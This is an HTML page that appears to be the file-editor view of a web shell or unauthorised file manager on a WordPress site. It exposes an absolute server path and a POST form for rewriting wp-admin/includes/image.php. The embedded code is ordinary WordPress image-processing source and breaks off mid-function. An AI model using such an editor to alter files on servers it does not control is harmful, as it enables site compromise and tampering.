<h2>File Contents: /home/planet5/www/yogitonics.com/wp-admin/includes/image.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yogitonics.com/wp-admin/includes/image.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * File contains all the administration image manipulation functions.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Crops an image to a given size.
 *
 * @since 2.1.0
 *
 * @param string|int   $src      The source file or Attachment ID.
 * @param int          $src_x    The start x position to crop from.
 * @param int          $src_y    The start y position to crop from.
 * @param int          $src_w    The width to crop.
 * @param int          $src_h    The height to crop.
 * @param int          $dst_w    The destination width.
 * @param int          $dst_h    The destination height.
 * @param bool|false   $src_abs  Optional. If the source crop points are absolute.
 * @param string|false $dst_file Optional. The destination file to write to.
 * @return string|WP_Error New filepath on success, WP_Error on failure.
 */
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
	$src_file = $src;
	if ( is_numeric( $src ) ) { // Handle int as attachment ID.
		$src_file = get_attached_file( $src );

		if ( ! file_exists( $src_file ) ) {
			/*
			 * If the file doesn&#039;t exist, attempt a URL fopen on the src link.
			 * This can occur with certain file replication plugins.
			 */
			$src = _load_image_to_edit_path( $src, &#039;full&#039; );
		} else {
			$src = $src_file;
		}
	}

	$editor = wp_get_image_editor( $src );
	if ( is_wp_error( $editor ) ) {
		return $editor;
	}

	$src = $editor-&gt;crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
	if ( is_wp_error( $src ) ) {
		return $src;
	}

	if ( ! $dst_file ) {
		$dst_file = str_replace( wp_basename( $src_file ), &#039;cropped-&#039; . wp_basename( $src_file ), $src_file );
	}

	/*
	 * The directory containing the original file may no longer exist when
	 * using a replication plugin.
	 */
	wp_mkdir_p( dirname( $dst_file ) );

	$dst_file = dirname( $dst_file ) . &#039;/&#039; . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

	$result = $editor-&gt;save( $dst_file );
	if ( is_wp_error( $result ) ) {
		return $result;
	}

	if ( ! empty( $result[&#039;path&#039;] ) ) {
		return $result[&#039;path&#039;];
	}

	return $dst_file;
}

/**
 * Compare the existing image sub-sizes (as saved in the attachment meta)
 * to the currently registered image sub-sizes, and return the difference.
 *
 * Registered sub-sizes that are larger than the image are skipped.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array[] Associative array of arrays of image sub-size information for
 *                 missing image sizes, keyed by image size name.
 */
function wp_get_missing_image_subsizes( $attachment_id ) {
	if ( ! wp_attachment_is_image( $attachment_id ) ) {
		return array();
	}

	$registered_sizes = wp_get_registered_image_subsizes();
	$image_meta       = wp_get_attachment_metadata( $attachment_id );

	// Meta error?
	if ( empty( $image_meta ) ) {
		return $registered_sizes;
	}

	// Use the originally uploaded image dimensions as full_width and full_height.
	if ( ! empty( $image_meta[&#039;original_image&#039;] ) ) {
		$image_file = wp_get_original_image_path( $attachment_id );
		$imagesize  = wp_getimagesize( $image_file );
	}

	if ( ! empty( $imagesize ) ) {
		$full_width  = $imagesize[0];
		$full_height = $imagesize[1];
	} else {
		$full_width  = (int) $image_meta[&#039;width&#039;];
		$full_height = (int) $image_meta[&#039;height&#039;];
	}

	$possible_sizes = array();

	// Skip registered sizes that are too large for the uploaded image.
	foreach ( $registered_sizes as $size_name =&gt; $size_data ) {
		if ( image_resize_dimensions( $full_width, $full_height, $size_data[&#039;width&#039;], $size_data[&#039;height&#039;], $size_data[&#039;crop&#039;] ) ) {
			$possible_sizes[ $size_name ] = $size_data;
		}
	}

	if ( empty( $image_meta[&#039;sizes&#039;] ) ) {
		$image_meta[&#039;sizes&#039;] = array();
	}

	/*
	 * Remove sizes that already exist. Only checks for matching &quot;size names&quot;.
	 * It is possible that the dimensions for a particular size name have changed.
	 * For example the user has changed the values on the Settings -&gt; Media screen.
	 * However we keep the old sub-sizes with the previous dimensions
	 * as the image may have been used in an older post.
	 */
	$missing_sizes = array_diff_key( $possible_sizes, $image_meta[&#039;sizes&#039;] );

	/**
	 * Filters the array of missing image sub-sizes for an uploaded image.
	 *
	 * @since 5.3.0
	 *
	 * @param array[] $missing_sizes Associative array of arrays of image sub-size information for
	 *                               missing image sizes, keyed by image size name.
	 * @param array   $image_meta    The image meta data.
	 * @param int     $attachment_id The image attachment post ID.
	 */
	return apply_filters( &#039;wp_get_missing_image_subsizes&#039;, $missing_sizes, $image_meta, $attachment_id );
}

/**
 * If any of the currently registered image sub-sizes are missing,
 * create them and update the image meta data.
 *
 * @since 5.3.0
 *
 * @param int $attachment_id The image attachment post ID.
 * @return array|WP_Error The updated image meta data array or WP_Error object
 *                        if both the image meta and the attached file are missing.
 */
function wp_update_image_subsizes( $attachment_id ) {
	$image_meta = wp_get_attachment_metadata( $attachment_id );
	$image_file = wp_get_original_image_path( $attachment_id );

	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		/*
		 * Previously failed upload?
		 * If there is an uploaded file, make all sub-sizes and generate all of the attachment meta.
		 */
		if ( ! empty( $image_file ) ) {
			$image_meta = wp_create_image_subsizes( $image_file, $attachment_id );
		} else {
			return new WP_Error( &#039;invalid_attachment&#039;, __( &#039;The attached file cannot be found.&#039; ) );
		}
	} else {
		$missing_sizes = wp_get_missing_image_subsizes( $attachment_id );

		if ( empty( $missing_sizes ) ) {
			return $image_meta;
		}

		// This also updates the image meta.
		$image_meta = _wp_make_subsizes( $missing_sizes, $image_file, $image_meta, $attachment_id );
	}

	/** This filter is documented in wp-admin/includes/image.php */
	$image_meta = apply_filters( &#039;wp_generate_attachment_metadata&#039;, $image_meta, $attachment_id, &#039;update&#039; );

	// Save the updated metadata.
	wp_update_attachment_metadata( $attachment_id, $image_meta );

	return $image_meta;
}

/**
 * Updates the attached file and image meta data when the original image was edited.
 *
 * @since 5.3.0
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 * @access private
 *
 * @param array  $saved_data    The data returned from WP_Image_Editor after successfully saving an image.
 * @param string $original_file Path to the original file.
 * @param array  $image_meta    The image meta data.
 * @param int    $attachment_id The attachment post ID.
 * @return array The updated image meta data.
 */
function _wp_image_meta_replace_original( $saved_data, $original_file, $image_meta, $attachment_id ) {
	$new_file = $saved_data[&#039;path&#039;];

	// Update the attached file meta.
	update_attached_file( $attachment_id, $new_file );

	// Width and height of the new image.
	$image_meta[&#039;width&#039;]  = $saved_data[&#039;width&#039;];
	$image_meta[&#039;height&#039;] = $saved_data[&#039;height&#039;];

	// Make the file path relative to the upload dir.
	$image_meta[&#039;file&#039;] = _wp_relative_upload_path( $new_file );

	// Add image file size.
	$image_meta[&#039;filesize&#039;] = wp_filesize( $new_file );

	// Store the original image file name in image_meta.
	$image_meta[&#039;original_image&#039;] = wp_basename( $original_file );

	return $image_meta;
}

/**
 * Creates image sub-sizes, adds the new data to the image meta `sizes` array, and updates the image metadata.
 *
 * Intended for use after an image is uploaded. Saves/updates the image metadata after each
 * sub-size is created. If there was an error, it is added to the returned image metadata array.
 *
 * @since 5.3.0
 *
 * @param string $file          Full path to the image file.
 * @param int    $attachment_id Attachment ID to process.
 * @return array The image attachment meta data.
 */
function wp_create_image_subsizes( $file, $attachment_id ) {
	$imagesize = wp_getimagesize( $file );

	if ( empty( $imagesize ) ) {
		// File is not an image.
		return array();
	}

	// Default image meta.
	$image_meta = array(
		&#039;width&#039;    =&gt; $imagesize[0],
		&#039;height&#039;   =&gt; $imagesize[1],
		&#039;file&#039;     =&gt; _wp_relative_upload_path( $file ),
		&#039;filesize&#039; =&gt; wp_filesize( $file ),
		&#039;sizes&#039;    =&gt; array(),
	);

	// Fetch additional metadata from EXIF/IPTC.
	$exif_meta = wp_read_image_metadata( $file );

	if ( $exif_meta ) {
		$image_meta[&#039;image_meta&#039;] = $exif_meta;
	}

	/**
	 * Filters the &quot;BIG image&quot; threshold value.
	 *
	 * If the original image width or height is above the threshold, it will be scaled down. The threshold is
	 * used as max width and max height. The scaled down image will be used as the largest available size, including
	 * the `_wp_attached_file` post meta value.
	 *
	 * Returning `false` from the filter callback will disable the scaling.
	 *
	 * @since 5.3.0
	 *
	 * @param int    $threshold     The threshold value in pixels. Default 2560.
	 * @param array  $imagesize     {
	 *     Indexed array of the image width and height in pixels.
	 *
	 *     @type int $0 The image width.
	 *     @type int $1 The image height.
	 * }
	 * @param string $file          Full path to the uploaded image file.
	 * @param int    $attachment_id Attachment post ID.
	 */
	$threshold = (int) apply_filters( &#039;big_image_size_threshold&#039;, 2560, $imagesize, $file, $attachment_id );

	/*
	 * If the original image&#039;s dimensions are over the threshold,
	 * scale the image and use it as the &quot;full&quot; size.
	 */
	$scale_down = false;
	$convert    = false;

	if ( $threshold &amp;&amp; ( $image_meta[&#039;width&#039;] &gt; $threshold || $image_meta[&#039;height&#039;] &gt; $threshold ) ) {
		// The image will be converted if needed on saving.
		$scale_down = true;
	} else {
		// The image may need to be converted regardless of its dimensions.
		$output_format = wp_get_image_editor_output_format( $file, $imagesize[&#039;mime&#039;] );

		if (
			is_array( $output_format ) &amp;&amp;
			array_key_exists( $imagesize[&#039;mime&#039;], $output_format ) &amp;&amp;
			$output_format[ $imagesize[&#039;mime&#039;] ] !== $imagesize[&#039;mime&#039;]
		) {
			$convert = true;
		}
	}

	if ( $scale_down || $convert ) {
		$editor = wp_get_image_editor( $file );

		if ( is_wp_error( $editor ) ) {
			// This image cannot be edited.
			return $image_meta;
		}

		if ( $scale_down ) {
			// Resize the image. This will also convert it if needed.
			$resized = $editor-&gt;resize( $threshold, $threshold );
		} elseif ( $convert ) {
			// The image will be converted (if possible) when saved.
			$resized = true;
		}

		$rotated = null;

		// If there is EXIF data, rotate according to EXIF Orientation.
		if ( ! is_wp_error( $resized ) &amp;&amp; is_array( $exif_meta ) ) {
			$resized = $editor-&gt;maybe_exif_rotate();
			$rotated = $resized; // bool true or WP_Error
		}

		if ( ! is_wp_error( $resized ) ) {
			/*
			 * Append &quot;-scaled&quot; to the image file name. It will look like &quot;my_image-scaled.jpg&quot;.
			 * This doesn&#039;t affect the sub-sizes names as they are generated from the original image (for best quality).
			 */
			if ( $scale_down ) {
				$saved = $editor-&gt;save( $editor-&gt;generate_filename( &#039;scaled&#039; ) );
			} elseif ( $convert ) {
				// Pass an empty string to avoid adding a suffix to converted file names.
				$saved = $editor-&gt;save( $editor-&gt;generate_filename( &#039;&#039; ) );
			} else {
				$saved = $editor-&gt;save();
			}

			if ( ! is_wp_error( $saved ) ) {
				$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

				// If the image was rotated update the stored EXIF data.
				if ( true === $rotated &amp;&amp; ! empty( $image_meta[&#039;image_meta&#039;][&#039;orientation&#039;] ) ) {
					$image_meta[&#039;image_meta&#039;][&#039;orientation&#039;] = 1;
				}
			} else {
				// TODO: Log errors.
			}
		} else {
			// TODO: Log errors.
		}
	} elseif ( ! empty( $exif_meta[&#039;orientation&#039;] ) &amp;&amp; 1 !== (int) $exif_meta[&#039;orientation&#039;] ) {
		// Rotate the whole original image if there is EXIF data and &quot;orientation&quot; is not 1.
		$editor = wp_get_image_editor( $file );

		if ( is_wp_error( $editor ) ) {
			// This image cannot be edited.
			return $image_meta;
		}

		// Rotate the image.
		$rotated = $editor-&gt;maybe_exif_rotate();

		if ( true === $rotated ) {
			// Append `-rotated` to the image file name.
			$saved = $editor-&gt;save( $editor-&gt;generate_filename( &#039;rotated&#039; ) );

			if ( ! is_wp_error( $saved ) ) {
				$image_meta = _wp_image_meta_replace_original( $saved, $file, $image_meta, $attachment_id );

				// Update the stored EXIF data.
				if ( ! empty( $image_meta[&#039;image_meta&#039;][&#039;orientation&#039;] ) ) {
					$image_meta[&#039;image_meta&#039;][&#039;orientation&#039;] = 1;
				}
			} else {
				// TODO: Log errors.
			}
		}
	}

	/*
	 * Initial save of the new metadata.
	 * At this point the file was uploaded and moved to the uploads directory
	 * but the image sub-sizes haven&#039;t been created yet and the `sizes` array is empty.
	 */
	wp_update_attachment_metadata( $attachment_id, $image_meta );

	$new_sizes = wp_get_registered_image_subsizes();

	/**
	 * Filters the image sizes automatically generated when uploading an image.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added the `$image_meta` argument.
	 * @since 5.3.0 Added the `$attachment_id` argument.
	 *
	 * @param array $new_sizes     Associative array of image sizes to be created.
	 * @param array $image_meta    The image meta data: width, height, file, sizes, etc.
	 * @param int   $attachment_id The attachment post ID for the image.
	 */
	$new_sizes = apply_filters( &#039;intermediate_image_sizes_advanced&#039;, $new_sizes, $image_meta, $attachment_id );

	return _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id );
}

/**
 * Low-level function to create image sub-sizes.
 *
 * Updates the image meta after each sub-size is created.
 * Errors are stored in the returned image metadata array.
 *
 * @since 5.3.0
 * @access private
 *
 * @param array  $new_sizes     Array defining what sizes to create.
 * @param string $file          Full path to the image file.
 * @param array  $image_meta    The attachment meta data array.
 * @param int    $attachment_id Attachment ID to process.
 * @return array The attachment meta data with updated `sizes` array. Includes an array of errors encountered while resizing.
 */
function _wp_make_subsizes( $new_sizes, $file, $image_meta, $attachment_id ) {
	if ( empty( $image_meta ) || ! is_array( $image_meta ) ) {
		// Not an image attachment.
		return array();
	}

	// Check if any of the new sizes already exist.
	if ( isset( $image_meta[&#039;sizes&#039;] ) &amp;&amp; is_array( $image_meta[&#039;sizes&#039;] ) ) {
		foreach ( $image_meta[&#039;sizes&#039;] as $size_name =&gt; $size_meta ) {
			/*
			 * Only checks &quot;size name&quot; so we don&#039;t override existing images even if the dimensions
			 * don&#039;t match the currently defined size with the same name.
			 * To change the behavior, unset changed/mismatched sizes in the `sizes` array in image meta.
			 */
			if ( array_key_exists( $size_name, $new_sizes ) ) {
				unset( $new_sizes[ $size_name ] );
			}
		}
	} else {
		$image_meta[&#039;sizes&#039;] = array();
	}

	if ( empty( $new_sizes ) ) {
		// Nothing to do...
		return $image_meta;
	}

	/*
	 * Sort the image sub-sizes in order of priority when creating them.
	 * This ensures there is an appropriate sub-size the user can access immediately
	 * even when there was an error and not all sub-sizes were created.
	 */
	$priority = array(
		&#039;medium&#039;       =&gt; null,
		&#039;large&#039;        =&gt; null,
		&#039;thumbnail&#039;    =&gt; null,
		&#039;medium_large&#039; =&gt; null,
	);

	$new_sizes = array_filter( array_merge( $priority, $new_sizes ) );

	$editor = wp_get_image_editor( $file );

	if ( is_wp_error( $editor ) ) {
		// The image cannot be edited.
		return $image_meta;
	}

	// If stored EXIF data exists, rotate the source image before creating sub-sizes.
	if ( ! empty( $image_meta[&#039;image_meta&#039;] ) ) {
		$rotated = $editor-&gt;maybe_exif_rotate();

		if ( is_wp_error( $rotated ) ) {
			// TODO: Log errors.
		}
	}

	if ( method_exists( $editor, &#039;make_subsize&#039; ) ) {
		foreach ( $new_sizes as $new_size_name =&gt; $new_size_data ) {
			$new_size_meta = $editor-&gt;make_subsize( $new_size_data );

			if ( is_wp_error( $new_size_meta ) ) {
				// TODO: Log errors.
			} else {
				// Save the size meta value.
				$image_meta[&#039;sizes&#039;][ $new_size_name ] = $new_size_meta;
				wp_update_attachment_metadata( $attachment_id, $image_meta );
			}
		}
	} else {
		// Fall back to `$editor-&gt;multi_resize()`.
		$created_sizes = $editor-&gt;multi_resize( $new_sizes );

		if ( ! empty( $created_sizes ) ) {
			$image_meta[&#039;sizes&#039;] = array_merge( $image_meta[&#039;sizes&#039;], $created_sizes );
			wp_update_attachment_metadata( $attachment_id, $image_meta );
		}
	}

	return $image_meta;
}

/**
 * Copy parent attachment properties to newly cropped image.
 *
 * @since 6.5.0
 *
 * @param string $cropped              Path to the cropped image file.
 * @param int    $parent_attachment_id Parent file Attachment ID.
 * @param string $context              Control calling the function.
 * @return array Properties of attachment.
 */
function wp_copy_parent_attachment_properties( $cropped, $parent_attachment_id, $context = &#039;&#039; ) {
	$parent          = get_post( $parent_attachment_id );
	$parent_url      = wp_get_attachment_url( $parent-&gt;ID );
	$parent_basename = wp_basename( $parent_url );
	$url             = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

	$size       = wp_getimagesize( $cropped );
	$image_type = $size ? $size[&#039;mime&#039;] : &#039;image/jpeg&#039;;

	$sanitized_post_title = sanitize_file_name( $parent-&gt;post_title );
	$use_original_title   = (
		( &#039;&#039; !== trim( $parent-&gt;post_title ) ) &amp;&amp;
		/*
		 * Check if the original image has a title other than the &quot;filename&quot; default,
		 * meaning the image had a title when originally uploaded or its title was edited.
		 */
		( $parent_basename !== $sanitized_post_title ) &amp;&amp;
		( pathinfo( $parent_basename, PATHINFO_FILENAME ) !== $sanitized_post_title )
	);
	$use_original_description = ( &#039;&#039; !== trim( $parent-&gt;post_content ) );

	$attachment = array(
		&#039;post_title&#039;     =&gt; $use_original_title ? $parent-&gt;post_title : wp_basename( $cropped ),
		&#039;post_content&#039;   =&gt; $use_original_description ? $parent-&gt;post_content : $url,
		&#039;post_mime_type&#039; =&gt; $image_type,
		&#039;guid&#039;           =&gt; $url,
		&#039;context&#039;        =&gt; $context,
	);

	// Copy the image caption attribute (post_excerpt field) from the original image.
	if ( &#039;&#039; !== trim( $parent-&gt;post_excerpt ) ) {
		$attachment[&#039;post_excerpt&#039;] = $parent-&gt;post_excerpt;
	}

	// Copy the image alt text attribute from the original image.
	if ( &#039;&#039; !== trim( $parent-&gt;_wp_attachment_image_alt ) ) {
		$attachment[&#039;meta_input&#039;] = array(
			&#039;_wp_attachment_image_alt&#039; =&gt; wp_slash( $parent-&gt;_wp_attachment_image_alt ),
		);
	}

	$attachment[&#039;post_parent&#039;] = $parent_attachment_id;

	return $attachment;
}

/**
 * Generates attachment meta data and create image sub-sizes for images.
 *
 * @since 2.1.0
 * @since 6.0.0 The `$filesize` value was added to the returned array.
 * @since 6.7.0 The &#039;image/heic&#039; mime type is supported.
 *
 * @param int    $attachment_id Attachment ID to process.
 * @param string $file          Filepath of the attached image.
 * @return array Metadata for attachment.
 */
function wp_generate_attachment_metadata( $attachment_id, $file ) {
	$attachment = get_post( $attachment_id );

	$metadata  = array();
	$support   = false;
	$mime_type = get_post_mime_type( $attachment );

	if ( &#039;image/heic&#039; === $mime_type || ( preg_match( &#039;!^image/!&#039;, $mime_type ) &amp;&amp; file_is_displayable_image( $file ) ) ) {
		// Make thumbnails and other intermediate sizes.
		$metadata = wp_create_image_subsizes( $file, $attachment_id );
	} elseif ( wp_attachment_is( &#039;video&#039;, $attachment ) ) {
		$metadata = wp_read_video_metadata( $file );
		$support  = current_theme_supports( &#039;post-thumbnails&#039;, &#039;attachment:video&#039; ) || post_type_supports( &#039;attachment:video&#039;, &#039;thumbnail&#039; );
	} elseif ( wp_attachment_is( &#039;audio&#039;, $attachment ) ) {
		$metadata = wp_read_audio_metadata( $file );
		$support  = current_theme_supports( &#039;post-thumbnails&#039;, &#039;attachment:audio&#039; ) || post_type_supports( &#039;attachment:audio&#039;, &#039;thumbnail&#039; );
	}

	/*
	 * wp_read_video_metadata() and wp_read_audio_metadata() return `false`
	 * if the attachment does not exist in the local filesystem,
	 * so make sure to convert the value to an array.
	 */
	if ( ! is_array( $metadata ) ) {
		$metadata = array();
	}

	if ( $support &amp;&amp; ! empty( $metadata[&#039;image&#039;][&#039;data&#039;] ) ) {
		// Check for existing cover.
		$hash   = md5( $metadata[&#039;image&#039;][&#039;data&#039;] );
		$posts  = get_posts(
			array(
				&#039;fields&#039;         =&gt; &#039;ids&#039;,
				&#039;post_type&#039;      =&gt; &#039;attachment&#039;,
				&#039;post_mime_type&#039; =&gt; $metadata[&#039;image&#039;][&#039;mime&#039;],
				&#039;post_status&#039;    =&gt; &#039;inherit&#039;,
				&#039;posts_per_page&#039; =&gt; 1,
				&#039;meta_key&#039;       =&gt; &#039;_cover_hash&#039;,
				&#039;meta_value&#039;     =&gt; $hash,
			)
		);
		$exists = reset( $posts );

		if ( ! empty( $exists ) ) {
			update_post_meta( $attachment_id, &#039;_thumbnail_id&#039;, $exists );
		} else {
			$ext = &#039;.jpg&#039;;
			switch ( $metadata[&#039;image&#039;][&#039;mime&#039;] ) {
				case &#039;image/gif&#039;:
					$ext = &#039;.gif&#039;;
					break;
				case &#039;image/png&#039;:
					$ext = &#039;.png&#039;;
					break;
				case &#039;image/webp&#039;:
					$ext = &#039;.webp&#039;;
					break;
			}
			$basename = str_replace( &#039;.&#039;, &#039;-&#039;, wp_basename( $file ) ) . &#039;-image&#039; . $ext;
			$uploaded = wp_upload_bits( $basename, &#039;&#039;, $metadata[&#039;image&#039;][&#039;data&#039;] );
			if ( false === $uploaded[&#039;error&#039;] ) {
				$image_attachment = array(
					&#039;post_mime_type&#039; =&gt; $metadata[&#039;image&#039;][&#039;mime&#039;],
					&#039;post_type&#039;      =&gt; &#039;attachment&#039;,
					&#039;post_content&#039;   =&gt; &#039;&#039;,
				);
				/**
				 * Filters the parameters for the attachment thumbnail creation.
				 *
				 * @since 3.9.0
				 *
				 * @param array $image_attachment An array of parameters to create the thumbnail.
				 * @param array $metadata         Current attachment metadata.
				 * @param array $uploaded         {
				 *     Information about the newly-uploaded file.
				 *
				 *     @type string $file  Filename of the newly-uploaded file.
				 *     @type string $url   URL of the uploaded file.
				 *     @type string $type  File type.
				 * }
				 */
				$image_attachment = apply_filters( &#039;attachment_thumbnail_args&#039;, $image_attachment, $metadata, $uploaded );

				$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded[&#039;file&#039;] );
				add_post_meta( $sub_attachment_id, &#039;_cover_hash&#039;, $hash );
				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded[&#039;file&#039;] );
				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
				update_post_meta( $attachment_id, &#039;_thumbnail_id&#039;, $sub_attachment_id );
			}
		}
	} elseif ( &#039;application/pdf&#039; === $mime_type ) {
		// Try to create image thumbnails for PDFs.

		$fallback_sizes = array(
			&#039;thumbnail&#039;,
			&#039;medium&#039;,
			&#039;large&#039;,
		);

		/**
		 * Filters the image sizes generated for non-image mime types.
		 *
		 * @since 4.7.0
		 *
		 * @param string[] $fallback_sizes An array of image size names.
		 * @param array    $metadata       Current attachment metadata.
		 */
		$fallback_sizes = apply_filters( &#039;fallback_intermediate_image_sizes&#039;, $fallback_sizes, $metadata );

		$registered_sizes = wp_get_registered_image_subsizes();
		$merged_sizes     = array_intersect_key( $registered_sizes, array_flip( $fallback_sizes ) );

		// Force thumbnails to be soft crops.
		if ( isset( $merged_sizes[&#039;thumbnail&#039;] ) &amp;&amp; is_array( $merged_sizes[&#039;thumbnail&#039;] ) ) {
			$merged_sizes[&#039;thumbnail&#039;][&#039;crop&#039;] = false;
		}

		// Only load PDFs in an image editor if we&#039;re processing sizes.
		if ( ! empty( $merged_sizes ) ) {
			$editor = wp_get_image_editor( $file );

			if ( ! is_wp_error( $editor ) ) { // No support for this type of file.
				/*
				 * PDFs may have the same file filename as JPEGs.
				 * Ensure the PDF preview image does not overwrite any JPEG images that already exist.
				 */
				$dirname      = dirname( $file ) . &#039;/&#039;;
				$ext          = &#039;.&#039; . pathinfo( $file, PATHINFO_EXTENSION );
				$preview_file = $dirname . wp_unique_filename( $dirname, wp_basename( $file, $ext ) . &#039;-pdf.jpg&#039; );

				$uploaded = $editor-&gt;save( $preview_file, &#039;image/jpeg&#039; );
				unset( $editor );

				// Resize based on the full size image, rather than the source.
				if ( ! is_wp_error( $uploaded ) ) {
					$image_file = $uploaded[&#039;path&#039;];
					unset( $uploaded[&#039;path&#039;] );

					$metadata[&#039;sizes&#039;] = array(
						&#039;full&#039; =&gt; $uploaded,
					);

					// Save the meta data before any image post-processing errors could happen.
					wp_update_attachment_metadata( $attachment_id, $metadata );

					// Create sub-sizes saving the image meta after each.
					$metadata = _wp_make_subsizes( $merged_sizes, $image_file, $metadata, $attachment_id );
				}
			}
		}
	}

	// Remove the blob of binary data from the array.
	unset( $metadata[&#039;image&#039;][&#039;data&#039;] );

	// Capture file size for cases where it has not been captured yet, such as PDFs.
	if ( ! isset( $metadata[&#039;filesize&#039;] ) &amp;&amp; file_exists( $file ) ) {
		$metadata[&#039;filesize&#039;] = wp_filesize( $file );
	}

	/**
	 * Filters the generated attachment meta data.
	 *
	 * @since 2.1.0
	 * @since 5.3.0 The `$context` parameter was added.
	 *
	 * @param array  $metadata      An array of attachment meta data.
	 * @param int    $attachment_id Current attachment ID.
	 * @param string $context       Additional context. Can be &#039;create&#039; when metadata was initially created for new attachment
	 *                              or &#039;update&#039; when the metadata was updated.
	 */
	return apply_filters( &#039;wp_generate_attachment_metadata&#039;, $metadata, $attachment_id, &#039;create&#039; );
}

/**
 * Converts a fraction string to a decimal.
 *
 * @since 2.5.0
 *
 * @param string $str Fraction string.
 * @return int|float Returns calculated fraction or integer 0 on invalid input.
 */
function wp_exif_frac2dec( $str ) {
	if ( ! is_scalar( $str ) || is_bool( $str ) ) {
		return 0;
	}

	if ( ! is_string( $str ) ) {
		return $str; // This can only be an integer or float, so this is fine.
	}

	// Fractions passed as a string must contain a single `/`.
	if ( substr_count( $str, &#039;/&#039; ) !== 1 ) {
		if ( is_numeric( $str ) ) {
			return (float) $str;
		}

		return 0;
	}

	list( $numerator, $denominator ) = explode( &#039;/&#039;, $str );

	// Both the numerator and the denominator must be numbers.
	if ( ! is_numeric( $numerator ) || ! is_numeric( $denominator ) ) {
		return 0;
	}

	// The denominator must not be zero.
	if ( 0 == $denominator ) { // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual -- Deliberate loose comparison.
		return 0;
	}

	return $numerator / $denominator;
}

/**
 * Converts the exif date format to a unix timestamp.
 *
 * @since 2.5.0
 *
 * @param string $str A date string expected to be in Exif format (Y:m:d H:i:s).
 * @return int|false The unix timestamp, or false on failure.
 */
function wp_exif_date2ts( $str ) {
	list( $date, $time ) = explode( &#039; &#039;, trim( $str ) );
	list( $y, $m, $d )   = explode( &#039;:&#039;, $date );

	return strtotime( &quot;{$y}-{$m}-{$d} {$time}&quot; );
}

/**
 * Gets extended image metadata, exif or iptc as available.
 *
 * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
 * created_timestamp, focal_length, shutter_speed, and title.
 *
 * The IPTC metadata that is retrieved is APP13, credit, byline, created date
 * and time, caption, copyright, alt, and title. Also includes FNumber, Model,
 * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
 *
 * @todo Try other exif libraries if available.
 * @since 2.5.0
 *
 * @param string $file
 * @return array|false Image metadata array on success, false on failure.
 */
function wp_read_image_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$image_size = wp_getimagesize( $file );

	if ( false === $image_size ) {
		return false;
	}

	list( , , $image_type ) = $image_size;

	/*
	 * EXIF contains a bunch of data we&#039;ll probably never need formatted in ways
	 * that are difficult to use. We&#039;ll normalize it and just extract the fields
	 * that are likely to be useful. Fractions and numbers are converted to
	 * floats, dates to unix timestamps, and everything else to strings.
	 */
	$meta = array(
		&#039;aperture&#039;          =&gt; 0,
		&#039;credit&#039;            =&gt; &#039;&#039;,
		&#039;camera&#039;            =&gt; &#039;&#039;,
		&#039;caption&#039;           =&gt; &#039;&#039;,
		&#039;created_timestamp&#039; =&gt; 0,
		&#039;copyright&#039;         =&gt; &#039;&#039;,
		&#039;focal_length&#039;      =&gt; 0,
		&#039;iso&#039;               =&gt; 0,
		&#039;shutter_speed&#039;     =&gt; 0,
		&#039;title&#039;             =&gt; &#039;&#039;,
		&#039;orientation&#039;       =&gt; 0,
		&#039;keywords&#039;          =&gt; array(),
		&#039;alt&#039;               =&gt; &#039;&#039;,
	);

	$iptc = array();
	$info = array();
	/*
	 * Read IPTC first, since it might contain data not available in exif such
	 * as caption, description etc.
	 */
	if ( is_callable( &#039;iptcparse&#039; ) ) {
		wp_getimagesize( $file, $info );

		if ( ! empty( $info[&#039;APP13&#039;] ) ) {
			// Don&#039;t silence errors when in debug mode, unless running unit tests.
			if ( defined( &#039;WP_DEBUG&#039; ) &amp;&amp; WP_DEBUG
				&amp;&amp; ! defined( &#039;WP_RUN_CORE_TESTS&#039; )
			) {
				$iptc = iptcparse( $info[&#039;APP13&#039;] );
			} else {
				// Silencing notice and warning is intentional. See https://core.trac.wordpress.org/ticket/42480
				$iptc = @iptcparse( $info[&#039;APP13&#039;] );
			}

			if ( ! is_array( $iptc ) ) {
				$iptc = array();
			}

			// Headline, &quot;A brief synopsis of the caption&quot;.
			if ( ! empty( $iptc[&#039;2#105&#039;][0] ) ) {
				$meta[&#039;title&#039;] = trim( $iptc[&#039;2#105&#039;][0] );
				/*
				* Title, &quot;Many use the Title field to store the filename of the image,
				* though the field may be used in many ways&quot;.
				*/
			} elseif ( ! empty( $iptc[&#039;2#005&#039;][0] ) ) {
				$meta[&#039;title&#039;] = trim( $iptc[&#039;2#005&#039;][0] );
			}

			if ( ! empty( $iptc[&#039;2#120&#039;][0] ) ) { // Description / legacy caption.
				$caption = trim( $iptc[&#039;2#120&#039;][0] );

				mbstring_binary_safe_encoding();
				$caption_length = strlen( $caption );
				reset_mbstring_encoding();

				if ( empty( $meta[&#039;title&#039;] ) &amp;&amp; $caption_length &lt; 80 ) {
					// Assume the title is stored in 2:120 if it&#039;s short.
					$meta[&#039;title&#039;] = $caption;
				}

				$meta[&#039;caption&#039;] = $caption;
			}

			if ( ! empty( $iptc[&#039;2#110&#039;][0] ) ) { // Credit.
				$meta[&#039;credit&#039;] = trim( $iptc[&#039;2#110&#039;][0] );
			} elseif ( ! empty( $iptc[&#039;2#080&#039;][0] ) ) { // Creator / legacy byline.
				$meta[&#039;credit&#039;] = trim( $iptc[&#039;2#080&#039;][0] );
			}

